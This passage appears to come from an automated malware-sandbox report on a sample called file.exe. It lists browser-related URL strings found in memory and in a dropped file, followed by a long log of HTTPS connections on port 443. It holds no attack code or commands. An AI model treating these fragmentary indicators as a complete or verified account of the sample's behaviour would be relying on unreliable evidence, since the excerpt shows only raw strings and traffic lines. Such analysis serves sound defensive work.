Source: chrome.exe, 00000001.00000003.1875241441.00002B4401444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000001.00000003.1875241441.00002B4401444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: IECBGIDAEHCGDGCBKEBGDGIJDG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2102203891.0000000000F84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IECBGIDAEHCGDGCBKEBGDGIJDG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2102203891.0000000000F84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IECBGIDAEHCGDGCBKEBGDGIJDG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2102203891.0000000000F84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2076344491.00000000236F3000.00000004.00000020.00020000.00000000.sdmp, IECBGIDAEHCGDGCBKEBGDGIJDG.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/x1024
Source: IECBGIDAEHCGDGCBKEBGDGIJDG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2102203891.0000000000F84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: file.exe, 00000000.00000003.2076344491.00000000236F3000.00000004.00000020.00020000.00000000.sdmp, IECBGIDAEHCGDGCBKEBGDGIJDG.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
